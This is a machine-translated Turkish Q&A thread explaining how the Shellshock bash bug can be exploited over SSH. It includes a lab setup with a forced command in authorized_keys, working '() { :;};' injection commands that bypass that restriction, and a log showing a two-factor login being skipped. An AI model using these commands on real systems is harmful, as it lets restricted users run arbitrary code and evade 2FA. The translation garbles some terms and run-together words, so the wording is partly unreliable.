SSH üzerinde mermi vuruşu nasıl kullanılabilir?

Görünüşe göre, Cells-2014-6271'deki istismar Bash'in sömürdüğü şebeke üzerinden SSH ile yararlanılabilir. Açıklamanın Apache / CGI üzerinden nasıl çalışacağını hayal edebiliyorum, ancak bunun SSH üzerinde nasıl çalışacağını hayal edemiyorum.

Birisi lütfen SSH'nin nasıl kullanılacağına ve sisteme ne zarar verebileceğine dair bir örnek verebilir mi?

AÇIKLAMA

AFAIU, yalnızca kimliği doğrulanmış bir kullanıcı, bu güvenlik açığından SSH üzerinden yararlanabilir. Bu istismar, sisteme meşru erişimi olan biri için ne işe yarar ki? Demek istediğim, bu istismarın ayrıcalıklı yükselişi yok (kökleşemez), bu yüzden sadece SSH yoluyla meşru bir şekilde giriş yaptıktan sonra yapabileceğinden fazlasını yapamaz.

Bunun istismar edilebileceği bir örnek, authorized_keyszorunlu bir komutu olan sunuculardadır . Bir giriş eklerken , ssh public anahtarının kullanıldığı herhangi bir zamanda çalıştırılmaya zorlamak için ~/.ssh/authorized_keyssatırın önekini ekleyebilirsiniz . Bu istismarla, hedef kullanıcının kabuğuna ayarlanmışsa , zorla çalıştırdıkları komuttan başka şeyler çalıştırmak için istismardan yararlanabilirler.command="foo"foobash

Bu muhtemelen örnek olarak daha anlamlı olur, bu yüzden burada bir örnek:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Burada testuser, çalıştırmak için ssh anahtarınızı kullanarak herhangi bir ssh bağlantısını zorlayan bir kullanıcı ayarladık echo starting sleep; sleep 1.

Bunu şu şekilde test edebiliriz:

$ ssh testuser@localhost echo something else
starting sleep

Bizim nasıl kaçamayacağımıza dikkat edin echo something else, ama starting sleepzorunlu komutun çalıştığını gösterir.

Şimdi bu istismarın nasıl kullanılabileceğini gösterelim:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Bu sshd, SSH_ORIGINAL_COMMANDortam değişkenini iletilen komuta ayarladığı için çalışır . Bu yüzden sshdkoştum bile sleep, söylediğim komutu kullanmamam, kötüye kullanım yüzünden kodum hala çalıştırılıyor.

Ramesh örneğindeki örneğe göre genişletmek - iki faktörlü kimlik doğrulaması kullanıyorsanız, bu açıklamayı kullanarak ikinci faktörü nasıl uygulandığına bağlı olarak atlamak mümkündür.

- Normal Giriş -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- 2FA'sız kod çalıştırma -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

2FA sormadan kodu çalıştırdığını fark edeceksiniz.

- Yamayı okuduktan sonra -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

Shellshock, SSH'de değil, bash üzerindeki bir güvenlik açığıdır. Bir saldırganın bundan yararlanabilmesi için savunmasız sistemin bash yapmasına neden olması ve bash'a geçirilecek olan bir ortam değişkeninin değerini kontrol etmesi gerekir.

SSH üzerinden bir bash işlemine ulaşmak için saldırganın kimlik doğrulama adımlarını geçmesi gerekir. (Diğer ağ servisleri aracılığıyla saldırı vektörleri olabilir, ancak bu konunun kapsamı dışındadırlar.) Hesabın herhangi bir şekilde kabuk komutları çalıştırmasına izin verilirse, herhangi bir saldırı yapılmaz. Güvenlik açığı, hesabın belirli komutları çalıştırmasıyla sınırlıysa ortaya çıkar: örneğin, yalnızca bir SFTP hesabı veya yalnızca bir hesap, vb.

Bir hesabı SSH ile belirli bir komutu çalıştırmak için sınırlandırmanın birkaç yolu vardır: ForceCommandseçeneğin içinde sshd_configveya a ile command=. authorized_keysdosyadaki kısıtlama . Kullanıcının kabuğu kısaltılmışsa, Shellshock güvenlik açığı, normalde kısıtlamayı atlamak ve rastgele komutları uygulamak için yalnızca sınırlı hesaba erişebilecek bir kullanıcıya izin verir.